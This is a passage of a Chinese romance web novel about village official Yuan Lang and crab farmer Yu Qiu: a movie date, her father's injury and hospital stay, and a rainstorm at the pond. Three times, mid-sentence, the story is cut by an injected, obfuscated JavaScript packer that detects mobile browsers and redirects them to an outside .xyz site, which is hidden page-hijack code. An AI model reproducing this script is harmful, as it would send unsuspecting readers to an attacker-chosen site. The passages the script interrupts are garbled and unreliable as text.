沈却踩着高跟鞋走进来,话音戛然而止。 余楸捂着脸蹲在地上,原朗半裸着上身蹲在她旁边,手指还悬在空中,似乎正要安抚她。 三个人面面相觑。 沈却的目光在两人之间转了一圈,嘴角慢慢扬起一个意味深长的笑容。 “沈姨!” “你别误会!我们什么都没做!” 原朗慢悠悠站起身,顺手捞起沙发上的T恤套上,声音还带着未褪的沙哑。 “嗯,没做。” 沈却微微一笑,识相地往楼上走:“别担心,我什么都没看见。” “你们继续。” 继续?! 继续啥啊,她真的什么都没做啊! 余楸欲哭无泪。 “余小秋。” 原朗轻声唤她。 她抬头,对上男人滚烫的目光。 “下次记得敲门。” 23. 没情趣的男人 “余小秋。” “余小秋。” 余楸猛地回神,发现原朗正撑着下巴看她。 “这是你今晚第三次走神了。”他挑眉,语气里带着促狭的笑意。 余楸无语。 她纯洁的心灵受到了巨大冲击好吗!换他他走不走神! 她抿了抿唇,正色道:“你能不能别喊我余小秋。” “为什么?” “这样显得我比你小。” “而且……” “显得我们很熟。” 原朗的眼神瞬间冷了几分,反问她:“我们不熟吗?” “也不是啦。”余楸被他盯得发毛。 “就是,没那么熟。” “你还不如像以前一样,喊我秋秋姐好了。” “不要。” 原朗把笔一扔,突然凑近,清冽的气息扑面而来。 “我就要喊余小秋。” 他像是找到了什么有趣的玩具,围着她转圈:“余小秋、余小秋——” 余楸又一次感受到这男人骨子里的幼稚,简直像只得了新玩具的大狗,尾巴摇得欢快,非要闹到她投降不可。 “幼稚鬼!”她红着脸推他。 原朗停下,眼神变得认真。 “那个贺源,他喊你什么?” “干嘛告诉你?” 但原朗的眼神明明白白写着“不说不罢休”,余楸只好投降:“阿源哥他……喊我秋秋。” “没情趣的男人。” 余楸不满:“喂!你懂什么叫情趣吗?” “比他懂。” “那是因为你是花花公子!阿源哥跟你不一样!” 男人抿着唇,下颌线绷得紧紧的。 余楸似乎在他眼里看到一丝受伤。 他一字一顿:“余小秋,我,不是花花公子。” “我没有谈过恋爱,更没有乱搞。” “你能不能不要总是贬低我,然后夸那个男人?” 余楸被他突如其来的认真震住了,下意识反驳:“那我难不成还夸你啊?你是我什么人啊?” 男人的表情肉眼可见地黯淡下来,他垂下眼睫,沉默了几秒,突然起身去了厨房。 余楸咬着唇,心里一阵发闷。 完了,打击到少爷的自尊心了。 沈却说过,原朗从小被家里保护得太好,虽然表面娇气嘴毒,其实骨子里骄傲又敏感。 自己刚才那话,怕是戳到他痛处了。 正胡思乱想着,原朗回来了,手里拿着两根冰淇淋,递给她一根:“香草味的。” 他的语气平静得仿佛刚才的争执没发生过,甚至体贴地帮她撕开了包装纸。 余楸愣愣地接过。 他什么时候脾气这么好了? 两人重新坐回桌前讨论方案,气氛却微妙地变了。 盛夏的夜温度很高,冰淇淋融化得快。白色的奶油沾在唇上,余楸下意识伸出舌尖舔了舔。 原朗的笔尖突然在纸上划出一道长长的痕迹。 他的目光不受控制地落在余楸的唇上,沾着融化的奶油,看起来柔软又湿润。 ——很好亲的样子。 这个危险的念头让原朗猛地移开视线,喉结不自觉地滚动了一下。 讨论结束时已是深夜。原朗送余楸到院门口,夜风微凉,搅乱了些许暧昧的气氛。 “那我走了。”余楸摆摆手,“明天见。” “余楸,我……很差劲吗?” 男人的声音很轻,几乎被夜风吹散。 余楸以为自己听错了:“啊?” “没什么。” “你回去吧,路上注意安全。” “哦……” 余楸不紧不慢地走在路上,夏夜蝉鸣作伴,倒也不失乐趣。 只是,她总觉得背后有人跟着。 她突然停下,猛地转身,看见原朗双手插兜,慢悠悠地走在后面,见她回头,立刻假装看星星。 又好气又好笑,心里涌起一股暖流。 这家伙,明明不高兴了还送她回家。 她故意加快脚步,拐过一个小巷后躲了起来。不一会儿,原朗急匆匆地追上来,四处张望的样子像只丢了主人的大狗。 “找什么呢?”余楸从墙角跳出来。 原朗明显吓了一跳,耳根瞬间红了:“我……” “路过。” 月光下,他的轮廓柔和了许多,眼睛里带着未散去的担忧。 余楸觉得心里某个地方被轻轻撞了一下。 “原朗。”她鼓起勇气喊他。 “你不差劲。” “其实……” “你很好。” 说完,就头也不回地跑了。 男人站在原地,嘴角慢慢扬起一个弧度。 夜风吹乱了他的头发,却吹不散心头那股甜意。 * 余楸最近觉得,原朗越来越粘人了。 清晨准时出现在蟹塘帮她干活,上午雷打不动地跟她一起开会,中午端着餐盘往她对面一坐,下午还要跟到女孩之家当“助教”。 当原朗第不知道多少次把红烧排骨夹到她盘子里时,余楸终于忍不住了。 “原朗,你最近是不是受了什么刺激啊?” 男人挑眉。 刺激吗?如果看到她舔冰淇淋的样子算的话。 他意味深长地看她一眼。 “嗯,受了不小的刺激。” “所以,别惹我。” 余楸被他盯得耳根发烫,赶紧低头扒饭。 两周后的村民大会上,承包方案以八成支持率通过。余楸心里的石头总算落地,正和林小樱商量着周末去市里放松一下。 “把明天的时间空出来。”原朗突然拉开椅子坐下,语气不容置疑。 “有事?” “最近忙方案累死了,我要去放松。”他理直气壮,“跟我一起。” “你去玩干嘛拉上我?再说,我跟小樱约好了……” 林小樱突然感觉一道锐利的视线扫过来,连忙摆手:“啊我们还没确定呢,是吧秋秋?” 裴知路适时出现:“不好意思秋秋姐,小樱跟我有约了。” 林小樱瞪大眼睛,接收到裴知路的眼神暗示后,结结巴巴地改口:“对、对对!我们要去写生,我忘了跟你说……” 余楸一脸鄙夷:“小樱,重色轻友哦。” 裴知路直接牵起林小樱的手,将她拉起来:“那我们先走啦。” 经过原朗身边时,他压低声音:“别忘了你答应的事。” 两人就这样牵着手跑出村委会,裴知路回头,就看见林小樱气喘吁吁地停下,脸颊红得像熟透的苹果。 怎么连发丝被风吹乱的样子都可爱得要命。 “知路,咱们……不去写生吧?”林小樱小声问。 裴知路凑近她:“为什么?” “小樱不想和我一起写生吗?” “啊不是!”林小樱慌忙摆手,“我以为,我以为……” “你是为了给秋秋他们创造机会才……” “那你怎么知道,”裴知路打断她,眼神温柔得能滴出水来。 “我不是在给我们两个创造机会呢?” 他再次牵起她的手,十指相扣:“跟我走。” 夏日的风掠过两人的发梢,林小樱的裙摆和裴知路的衣角在阳光下飞扬。 他们奔跑在乡间小路上,像一幅青春洋溢的油画,连路边的野花都为之倾倒。 余楸扒在窗口看着这一幕,心里像烧了一道糖醋排骨,又酸又甜。 “明天下午四点,我来接你。” 余楸转身想抗议,却撞进原朗深邃的眼眸里,一时忘了要说什么。 良久,她听见自己说:“好。” * 下午四点,原朗的车准时停在余楸家门口。 那个丑丑的小乌龟依然趴在驾驶位车门上,余楸看见,有些难为情地问:“你怎么还没把它洗掉啊?” 原朗瞟了一眼:“懒得洗,留着吧。” 余楸没再说什么,拉开车门,发现副驾驶座位上放着一个精致的小篮子,里面盛着满满的东西——矿泉水,餐巾纸,零食全是她喜欢的口味,连晕车药都备了。 她偷偷瞥了眼原朗的侧脸,心跳莫名加速。 “谢谢。” “顺手带的,别多想。” 车子驶上高速,余楸拆开一包薯片,咔嚓咔嚓地嚼着。原朗趁等红灯的间隙,伸手从她怀里顺走一片。 “喂!你自己不是带了吗?” “你的比较香。”原朗面不改色,嘴角却微微上扬。 余楸气鼓鼓地把整包塞给他:“都给你都给你行了吧!” 原朗低笑一声,突然凑近:“余小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15812572|175312||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 秋。” “你耳朵红了。” 余楸立刻捂住耳朵:“专心开车!” 到了市里最大的商场,原朗带着余楸直奔顶楼影院。 “想看什么?”他指着排片表问。 余楸仰头研究了一会儿,突然眼睛一亮,指着其中一张海报:“就这个吧!” 原朗顺着她的手指看去——《午夜凶铃4》,表情瞬间僵住。 “恐怖片?” “你......不怕?” “没看过,想试试胆量。” 余楸歪头看他:“你怕?” “我会怕这种东西?”原朗冷哼一声,“小看我。” 他转身去买票,背影透着几分视死如归。回来时怀里还抱着一桶超大号爆米花,几乎有半个余楸那么大。 “顺手买的。”他硬邦邦地把爆米花塞给她。 余楸目瞪口呆地看着怀里这座“爆米山”,这分量,猪来了都得吃两小时吧? 但想到这是原朗的心意,她的耳根又悄悄红了:“谢谢。” 她都数不清,自己今天说了多少句“谢谢”。 影厅灯光暗下,片头阴森的音乐响起。余楸紧张地抓了一把爆米花塞进嘴里,咀嚼声在寂静的影厅里格外清晰。 原朗瞥了她一眼,低声道:“怕就别看了。” “谁怕了!”余楸嘴硬,手却不自觉地揪住了他的衣角。 电影进行到二十分钟,第一个恐怖镜头突然出现——惨白的女鬼从电视机里爬出来,伴随着刺耳的尖叫声。 整个影厅瞬间炸开锅。 “啊——!!!” 余楸的尖叫几乎掀翻屋顶,她本能地往旁边一扑,整个人缩进原朗怀里,却撞进一个火热的胸膛。 ——原朗也朝她这边扑过来,一把搂住余楸,两人抱成一团尖叫。 前排的观众纷纷回头,用看神经病的眼神看着这对活宝。 两人惊魂未定地搂在一起,半晌,才发现彼此的姿势有多暧昧,又迅速弹开。 “刚、刚才那是意外!”余楸结结巴巴地解释。 “嗯。”原朗故作镇定地整理衣领,“电影特效太假了。” 重新坐好,却默契地拉开了一掌宽的距离。 恐怖的镜头一个接着一个,余楸强忍着自己去抱着什么的冲动,伸手去摸爆米花,冷不丁碰上一只手——指尖相触。 四目相对,时间仿佛静止。 荧幕上的光影在男人脸上流转,那双总是带着讥诮的眼睛此刻温柔得不可思议。 余楸看得入迷,连呼吸都慢了下来。 忽然,男人伸手,拇指轻轻擦过她的唇角。温热的触感让余楸浑身一颤,忘了躲开。 “沾到碎屑了。”他哑着声音解释。 “哦。” 接下来的电影,谁也没看进去。余楸机械地往嘴里塞爆米花,却尝不出任何味道;原朗盯着荧幕,眼神却是放空的。 他们的手肘偶尔相碰,又迅速分开,像两只试探的小动物。 每一次不经意的接触,都会让心跳漏掉一拍。 当片尾字幕亮起时,两人同时长舒一口气。 “还......还行吧。”余楸干巴巴地评价。 “嗯,一般。” 跟电影比起来,他更想看着她。 * 原朗打开车内的灯,带来久不见的光亮。 余楸捧着冰凉的奶茶,杯壁上的水珠滑落,浸湿了她的指尖。凉意从手心蔓延,稍稍平息了内心的燥热。 “今天,开心吗?” 余楸点点头:“挺……开心的。” 原朗的手指在方向盘上轻轻敲击:“那以后,我一直陪你看电影。” “好吗?” 余楸愣住了,平静的心湖再次被简单的一句话砸出涟漪。 她总是这样,面对眼前这个男人,总是轻易地失了分寸,总是轻易地缴械投降。 她拼命告诉自己不要多想,原朗不是她可以高攀的人,可心脏却不受控制地狂跳。 那种即将失控的感觉让余楸害怕—— 她害怕,自己真的喜欢上原朗。 手机铃声突兀地响起。 “先接电话吧。”原朗轻声说。 余楸机械地按下接听键,母亲带着哭腔的声音从听筒里传来。 “秋秋,快回来!你爸出事了!” 24. 别害怕 余楸记不清自己是怎么赶到县医院的。 她只记得原朗的车开得飞快,窗外的景色连成模糊的色块。她死死攥着安全带,指甲几乎要嵌进掌心,耳边嗡嗡作响。 “会没事的。” 余楸没有回应,只是盯着窗外飞速后退的树影,眼前浮现出父亲佝偻着腰在蟹塘边忙碌的身影——他总说腰疼,她却从没放在心上。 车子一个急刹停在医院门口,余楸几乎是跌跌撞撞地冲进急诊大厅。消毒水的气味扑面而来,刺得她眼睛发酸。 “妈!” 她一眼看到坐在长椅上的母亲,扑了过去,“爸呢?他怎么样了?” 母亲红着眼眶拉住她的手:“在手术室,摔断了腿......医生说没有生命危险,但......” 余楸双腿一软,险些跪在地上。男人眼疾手快地扶住她的肩膀,温热的手掌透过单薄的衣料传来令人安心的温度。 “我去办手续。”他低声说,轻轻捏了捏她的肩。 “别怕。” 看着原朗走向前台的背影,余楸终于忍不住哭了出来。她蜷缩在母亲怀里,像个做错事的孩子:“都怪我......我要是多关心爸一点,早点带他检查腰......” “傻孩子,”母亲抚摸着她的头发,“你爸那是老毛病了,跟你有什么关系?” 万幸,手术很顺利。 父亲被推出来时还清醒着,看到余楸通红的眼睛,虚弱地笑了笑:“哭什么,你爹我命硬着呢。” 余楸想笑,眼泪却掉得更凶了。 等父亲睡下,已是深夜。母亲坚持要留在医院陪护,催着余楸回去休息。 “我送她。” 原朗不知何时站在了病房门口。 医院后花园的长椅上,余楸沉默地望着月亮。夜风微凉,吹散了她额前的碎发。 “喝点热的。” 一杯冒着热气的牛奶递来。 余楸抬头,对上原朗疲惫却温柔的目光。她这才注意到他的衬衫皱巴巴的,眼下泛着淡淡的青色。 从接到电话到现在,他一直陪在她身边,连口水都没喝。 “谢谢。” 她接过牛奶,温热透过杯壁传递到掌心,“你也休息一下吧。” 原朗在她身边坐下,肩膀轻轻挨着她的。 “这是我第几次见你哭了?” “第三次?” 余楸下意识摸了摸红肿的眼睛,她还记得,自己第一次在这个男人面前哭的场景。 “很丑吧。” 她记得原朗当时是这么评价的。 “不丑。” “就是......看着心里难受。” 难受?他吗? 余楸一时没反应过来这份突如其来的心疼。 “我八岁那年,妈妈也是这样躺在医院里。” 余楸心头一震,握紧了手中的杯子。她转头,迎上男人坦然的目光。 她对于原朗家人的了解,仅止于那个有钱却不管他的爸爸,和管他却忙碌的后妈。 她不是没有好奇过沈却为何会成为原朗的后妈,但终究没有开口去问。 太冒昧了——她没有资格去问。 余楸没有想过,原朗会主动提起他的妈妈。 ——因为她。 “她是个律师。”男人继续说,目光落在远处,“专门帮穷人打官司的那种。” “那天她刚从邻县回来,为了一个被化工厂污染的村子......” 他的喉结滚动了一下,余楸不自觉地屏住呼吸。 “在山路上出了车祸。” 原朗的声音平静得可怕。 “救出来的时候,她手里还攥着案卷。” 余楸的心脏猛地抽痛起来,听到父亲出事时那种天崩地裂的感觉扑面而来。 而原朗当时才八岁,她不敢去想。 “我恨过她。” “恨她为什么总是为了别人不顾家,恨她最后一次出门前,连个拥抱都没给我。” “但我现在很后悔。” “后悔自己当时为什么没能理解她,支持她。” 余楸的眼泪涌了出来。 她慌忙低头,不想被他看见自己哭。但一滴泪还是落在了两人之间的长椅上,在月光下闪着微光。 “余楸。” 原朗转过头,伸手轻轻擦去她脸上的泪水。 “别哭。” 他的指尖温热,带着薄茧,触碰到她皮肤的瞬间,余楸感觉心脏像被电流击中。 她抬起泪眼朦胧的眼睛,男人深邃的目光里盛满了她从未见过的温柔。 “后来我长大了,”他收回手,声音低沉,“去看了那个村子。化工厂搬走了,村民们喝上了干净的水,孩子们在新建的学校里上课。” 余楸突然明白了什么。 “所以你才会来晨阳村......” “嗯。” 原朗轻笑一声,“很傻是不是?” “我那时候觉得自己也能成为像妈妈一样的超人。” “不傻。” 余楸摇头,声音哽咽。 “一点也不傻。” 她想起原朗熬夜帮她算的账,想起他为村里争取的每一个项目,想起他站在村民大会上说的那句“我来担责”。 原来这一切都有迹可循。 “你知道吗?” 原朗突然凑近,呼吸拂过她的耳畔,“你跟我妈很像。” “一样固执,”他的声音带着笑意,“一样爱管闲事,一样......” “让人放心不下。” “我爸比我妈小五岁,跟我妈结婚那年,他29,我妈34。” “听沈姨说,我妈拒绝过我爸很多次。她总是觉得,自己的时间不够,不够她去帮助更多的人。所以跟我爸结婚后,他们相处的时间很少。” “但我爸是个傻的。哈。” 原朗的语气里带着一丝俏皮。 “他就这样等着我妈回家,等着我妈有空陪他谈一段为期几天的恋爱然后再离开。” “就连我的出生,都是个意外。” “说出来你可能不信,我妈去世之前,基本上都是我爸在照顾我。一个公司的老总回家就变身成超级奶爸,太搞笑了不是吗?” “所以我想,他后来不管我,大概是因为看见我,就会想起我妈吧,想起那段他努力守护却抵不过不可抗力的爱情。” 余楸不再说话,只是静静听着。 她忽然意识到自己对面前这个男人的了解太少太少。 他可以是一位恣意的骑士,但他的内心住着一个小公主。 ——一个需要关心和理解的小公主。 余楸贪心了一次。 她还想再多知道一点,一点点。 “那个......” “你妈妈的事,沈姨知道吗?” “知道。”原朗靠回长椅,“她是我妈妈的学生。” “啊?” “你好像……很惊讶?” “沈姨接手了我妈没完成的案子,后来......”原朗耸耸肩,“不知怎么的就成了我后妈。” “当然,没有什么狗血情节。我也不是什么被虐待的少爷。” “别担心我。” 余楸撇过脸去:“谁担心你了。” “没有吗?那我就难过了。” 原朗笑了,眼神温柔。 “余楸。” “爱你的人,即使离去,也会在天上一直看着你,守护你。所以,不要担心,不要害怕。” “你还有很多时间去被爱、去爱他们。” 夜更深了。 月光洒在两人身上,像一层柔软的纱。 这个平日里冷硬强势的男人,此刻竟显得如此脆弱又温柔。 “原朗。” 她轻声喊。 “谢谢你告诉我这些。” 原朗没有回答,只是轻轻握住了她的手。 他的掌心温暖干燥,包裹住她微凉的指尖。 余楸没有抽回手,任由心跳在胸腔里疯狂鼓噪。 回到病房,母亲已经睡着了。余楸轻手轻脚地走到窗前,望着窗外的月亮。今晚发生的一切像梦一样不真实——原朗的坦白,他的温柔,还有那双轻握住自己的手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15812573|175312||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 她摸出手机,犹豫了很久,还是发了一条消息。 【到家了吗?】 几乎是立刻,手机亮了起来。 【刚到。怎么还没睡?】 余楸咬着唇打字。 【睡不着】 对方正在输入中的提示闪了很久,最后发来的却只有简单的一句话。 【别想太多,有我在】 【明天早上给你带早餐,想吃什么?】 【你还要开车来吗?太麻烦了】 【不许拒绝】 果然,又变成那个霸道的少爷了。 【随便】 【抱歉小姐,没有随便这个选项】 她忍不住笑了。 【那就......小笼包吧】 【好。睡吧,别胡思乱想】 余楸把手机放在胸前,感觉心跳慢慢平静下来。窗外的月亮依然明亮,就像原朗的眼睛,温柔地注视着她。 这一夜,她做了一个很长的梦。梦里有人牵着她的手,走过晨阳村的每一条小路,看过蟹塘的每一次日出。那人的手掌温暖有力,背影挺拔如松。 她知道那是谁。 * 一连五天,原朗每天早上都来给她送早餐,拉风的跑车和出众的外貌让县医院三楼某个不起眼的病房变得有人气起来。 余楸觉得,自己似乎也陷入了某个话题的中心。 她不止一次听到,值班的小护士夸赞原朗的帅气和负责,甚至还说…… “羡慕那个女孩子有这么好的男朋友。” 男朋友吗? 好像……误会了呀。 清晨的雾气还未散尽,余楸搭着林书记的车回到晨阳村。好几天没回来,她心里惦记着蟹塘——天气这么热,不知道螃蟹有没有受影响。 “秋秋,别太担心,”林书记停下车,“你家塘子有人看着呢。” 余楸一愣:“谁啊?” 林书记神秘地笑了笑:“你自己去看看就知道了。” 带着满腹疑惑,余楸快步走向自家蟹塘。晨光中,塘边的芦苇轻轻摇曳,水面上泛着细碎的金光。远远地,她看到一个熟悉的身影正蹲在塘边,动作僵硬地往水里撒着什么。 原朗? 她屏住呼吸,悄悄靠近。 男人穿着一件明显小了一号的旧T恤——那好像是她的父亲的工作服——紧绷绷地裹在他身上,勾勒出结实的肩膀线条。裤腿卷到膝盖,露出修长的小腿,脚上蹬着一双明显不合脚的雨靴,走起路来啪嗒啪嗒响。 最滑稽的是他的动作。每次有螃蟹靠近,他就跟触电似的往后跳,嘴里还念念有词:“走开走开!别过来!” 余楸捂住嘴,差点笑出声。这个平日里冷峻自持的男人,此刻像个受惊的兔子,一边战战兢兢地撒饲料,一边警惕地盯着水面,生怕螃蟹爬上来夹他。 “啊!”一只螃蟹突然从水草里钻出来,原朗吓得往后一仰,差点跌进塘里。他手忙脚乱地稳住身形,对着那只耀武扬威的螃蟹咬牙切齿。 “我警告你啊!你再嚣张,小爷今晚就把你蒸了。” 所以他眼下越来越重的黑眼圈,是因为一直在帮自己照看蟹塘。 哈,她昨天早上还嘲笑他来着。 心脏像被温水浸泡过一般,又暖又涨。 “要这样撒。” 她轻轻走上前,从背后握住男人的手。 “饲料要均匀地撒在浅水区,”她引导着他的手,声音轻柔,“这样螃蟹才不会扎堆抢食。” 原朗的耳根以肉眼可见的速度红了起来。他僵硬地任由她摆布,声音发紧:“你、你怎么回来了?” 余楸倒是第一次在这个男人脸上看见这种表情。 尴尬的,紧张的,好像,还有点害羞的。 于是,她也不知道该如何回答他的问题了。 “想、想蟹塘了。” 嗯,这个答案,应该能糊弄过去吧。。 原朗低笑一声,转过头来看她。 晨光中,他的眼睛亮得惊人,睫毛上还挂着细小的水珠。 “余楸。” “欢迎回来。” 25. 怎么照顾的 * 午后,阳光正好。 余楸站在院门口翘首以盼。远远地,一辆熟悉的跑车缓缓驶来,停在门前。 “爸!”余楸快步迎上去,帮父亲打开车门。 原朗从驾驶座下来,绕到另一侧小心翼翼地搀扶余父下车。余父的腿还打着石膏,但气色明显好了许多。 “慢点慢点,”余母从屋里赶出来,手里还拿着锅铲,“原书记,真是太麻烦你了,专门跑这一趟。” “阿姨别客气,”原朗微微一笑,手臂稳稳地托着余父的胳膊,“应该的。” 余父拍了拍原朗的肩膀,眼中满是赞赏:“秋秋都跟我们说了,这些天多亏你照看蟹塘。那么怕螃蟹还天天去,真是难为你了。” 原朗愣住,转头看向余楸。 余楸耳根一热,慌忙摆手:“没、没夸你,就是提了一嘴。别多想。” “那也谢了。”原朗嘴角微扬,眼底闪过一丝笑意。 屋内飘来饭菜的香气,余母热情地招呼:“原书记留下来吃饭吧?我炖了鸡汤,正好给你补补。” 原朗刚要推辞,余父已经拉着他往屋里走:“别客气,就当自己家。” 自己家? 听起来,还不错。 饭桌上,余母不停地给原朗夹菜,嘴里念叨着感谢的话。余父则兴致勃勃地讲起医院里的见闻,气氛温馨融洽。 “对了,”余父突然想起什么,转向余楸,“你贺叔叔来电话了,说过段时间要回来。” 余楸的筷子一顿。 “阿源哥……” “也回来吗?” “是啊,”余父喝了口汤,“听说小源在京城发展得不错,这次是全家一起回来探亲。” 原朗的筷子在碗边轻轻一磕。他不动声色地看向余楸。 女人微微垂着眼睫,脸上闪过一丝复杂的表情——惊讶、怀念,还有一丝他读不懂的情绪。 “阿源哥......”余楸轻声问,“他现在怎么样? “具体不清楚,”余父摇摇头,“就听说在什么大公司当高管,出息着呢。” 原朗的指节微微发白。 他盯着碗里的米饭,突然觉得食欲全无。 那个男人,居然跑去他的地盘,还混得风生水起。 所以现在回来探亲是要做什么? 为什么不老老实实待在那过他的好日子,还要回来骚扰余楸? 原朗直觉不会是好事。 “小时候你俩多要好,”余母笑着回忆,“那孩子总护着你,有什么好吃的都留给你。” 余楸的嘴角不自觉地扬起:“是啊,阿源哥他......” “我吃好了。“原朗突然放下碗筷,声音有些冷。 “余叔余婶,村委会还有事,我先走了。” 余父余母一愣,余楸抬头看向原朗,却只捕捉到他紧绷的侧脸。 “这么急啊?”余母有些遗憾,“再喝碗汤吧?” “不了,谢谢婶。”原朗站起身,礼貌地告辞,“叔叔好好休息。我明天再来看您。” 余楸跟着送到院门口,欲言又止。 “原朗......” “嗯?”他停下脚步,却没有回头。 “谢谢你这些天的帮忙。”她小声说。 男人沉默了一会儿,终于转过身来,眼神晦暗不明。 “不客气。”他淡淡地说,转身走向车子。 余楸望着他离去的背影,心里莫名发闷。她隐约感觉原朗不太高兴,却又说不出为什么。 是因为提到了贺源吗?可他有什么好在意的。 车子发动的声音打断了她的思绪。原朗的车缓缓驶离,扬起细微的尘土。余楸站在原地,突然觉得这个阳光明媚的午后,莫名有些凉意。 * 原朗站在湖边,远远地看见裴知路和林小樱坐在柳树下。裴知路支着画板,林小樱靠在他身边,手里捧着一本素描本,时不时抬头看他一眼,又低头偷笑。 阳光透过柳枝洒在他们身上,斑驳的光影里,林小樱的笑容格外明亮。 裴知路不知说了什么,她突然笑出声,肩膀轻轻撞了他一下,裴知路顺势揽住她的肩,在她耳边低声说了句什么,惹得她脸颊通红,却又笑得更加灿烂。 余楸好像从来没有这样对他笑过。 没有这样毫无忧虑地开怀大笑过。 他突然有些生气。 他忍不住想,余楸是不是曾经对那个叫贺源的男人这样笑过? 是不是也曾像这样,毫无防备地、全心全意地开心过? 他攥了攥拳头,深吸一口气,迈步走了过去。 “抱歉啊,打扰你们的好事了。” 原朗站在两人身后,声音低沉。 林小樱吓了一跳,手里的素描本差点掉进湖里,裴知路眼疾手快地接住,挑眉看向原朗:“原大少爷,偷看别人约会可不礼貌。” “谁偷看了?”原朗面无表情,“我是来找林小樱的。” 裴知路的笑容僵了一瞬,随即眯起眼:“哦?找我女朋友有事?” 林小樱的脸“唰”地红透了,结结巴巴道:“裴、裴知路!” “怎么,我说错了?”裴知路歪头看她,眼神带着促狭的笑意。 林小樱羞得说不出话。 原朗没心情看他们打情骂俏,直接打断:“林小樱,能聊会儿吗?” 林小樱愣了一下,抬头看向原朗,发现他的眼神比平时更加深沉,甚至带着一丝她从未见过的…… 落寞? “好、好啊。”她点点头,站起身。 裴知路轻哼一声,故意拖长音调:“行吧,不许太久哦。” 林小樱羞恼地瞪了他一眼,跟着原朗走到不远处的另一棵柳树下。 原朗从口袋里掏出一瓶冰可乐递给她:“给。” 林小樱受宠若惊地接过:“谢、谢谢原书记。” 不知道什么时候起,她对这位书记的印象也改变了很多。 从前只觉得他不好相处,说话难听,但现在看来,他似乎也是个,心细、心软的人。 所以,余楸对于这种转变的感受会比她更深刻吧? “不用这么客气。”原朗靠在树干上,目光落在远处的湖面上。 “我就是……想问你点事。” 林小樱攥着可乐瓶,心跳加速。她隐约猜到他要问什么,却又不敢确定。 “关于……秋秋?”她试探着问。 原朗沉默了一瞬,点了点头。 “你想问什么?” 原朗的手指无意识地摩挲着树干,声音低得几乎听不清:“就……她那个阿源哥哥。” 果然。 “他……是秋秋小时候的邻居哥哥。”林小樱斟酌着措辞,“比她大几岁,一直很照顾她。” “怎么照顾的?” 原朗的语气平静,但林小樱能感觉到他绷紧的神经。 “就是,”她咬了咬唇,“小时候秋秋被欺负,他会帮她出头;有什么好吃的,也会留给她;我们经常一起学习,一起划船钓鱼……” 男人的眼神暗了暗。 林小樱觉得自己说的太多了。 “那现在呢?” “他们还联系吗?” “不太清楚了。”林小樱摇头,“刚开始的时候,贺源哥会给秋秋写信,后来,就不知道了。” “余楸……很喜欢他?” 林小樱一僵,这个问题太直接了,她不知道该怎么回答。 她看得出来原朗对余楸的感情,但她也知道余楸对贺源确实有过少女时期朦胧的好感。 这是个送命题——也许会影响故事走向的送命题。 “我……”她犹豫了一下。 “我只能说,秋秋小时候是挺依赖他的。” “但那是很久以前的事了,现在,什么都,说不准的。” 原朗的眼神彻底沉了下去。 林小樱慌了,赶紧补充:“不过秋秋现在基本不提他了!真的!她,她最近明明……“ “明明什么?“原朗抬眼看向她。 林小樱张了张嘴,意识到自己想说什么。 余楸最近明明总是在意原朗的一举一动,明明总是偷偷看他,明明…… 她不能说,她还没有问过余楸的意见。 “没什么……” “我就是觉得,秋秋现在的心思都在蟹塘和女孩之家上,没空想别的。” 原朗扯了扯嘴角,笑意却不达眼底。 “是吗?” 气氛一时凝滞。林小樱紧张得手心冒汗,她感觉自己好像说错话了,但又不知道该 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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窗外一道刺眼的闪电劈过,紧接着是震耳欲聋的雷声。暴雨来得又急又猛,豆大的雨点砸在窗玻璃上,噼里啪啦像撒了一地的豆子。 余楸起身关窗,却看见塘边的铁皮小屋里陆续亮起了灯,人影在雨幕中匆忙晃动。 出事了。 她几乎是本能地抓起雨衣冲出门,不顾身后母亲的呼唤。 冰冷的雨水瞬间打湿了她的裤脚,泥泞的小路让她几次险些滑倒,但她顾不上这些,深一脚浅一脚地奔向塘边。 “余丫头!” 十来个村民迎面跑来,脸上写满焦急,“这雨太大了!螃蟹全在往上爬!我们根本拦不住!” 余楸清楚,这种天气,这种暴雨,塘水溶氧量会在短时间骤降,如果不及时处理,一晚上就能让整个蟹塘的收成泡汤。 “增氧机呢?把增氧机拉来!” 她大声说,声音几乎被雨声淹没。 “停电了!启动不了!” 又一道闪电劈下,照亮了塘面。余楸看见密密麻麻的螃蟹挤在浅水区,螯足疯狂地扒拉着水面。这是严重缺氧的表现,再拖下去…… “划船!人工增氧!” 她的声音在雷声中异常清晰。 村民们愣住了。这种暴雨天划小船进塘,稍有不慎就会翻船。塘水浑浊,底下还缠着渔网,落水后根本看不见方向。 “太危险了丫头!”王婶拉住她,“等雨小点...…” “等不了!”余楸甩开她的手。 “再拖半小时,塘里的螃蟹全得死!” 村民们愣了一瞬,随即反应过来。有人跑去拿船桨,有人去仓库取工具。 带着乡音的呼唤响彻黑夜,一户接一户的灯光亮起,一个又一个身影奔跑在雨中。 余楸转身就往泊船处跑。雨水糊住了视线,耳边只剩下自己剧烈的心跳声。手指碰到船绳时,她才发现自己在发抖。 不是害怕,而是愤怒。愤怒这该死的天气,愤怒自己的无能为力。 船绳被雨水泡得发胀,结扣怎么也解不开。余楸干脆用牙去咬,咸腥的雨水混着麻绳的苦味充斥口腔。 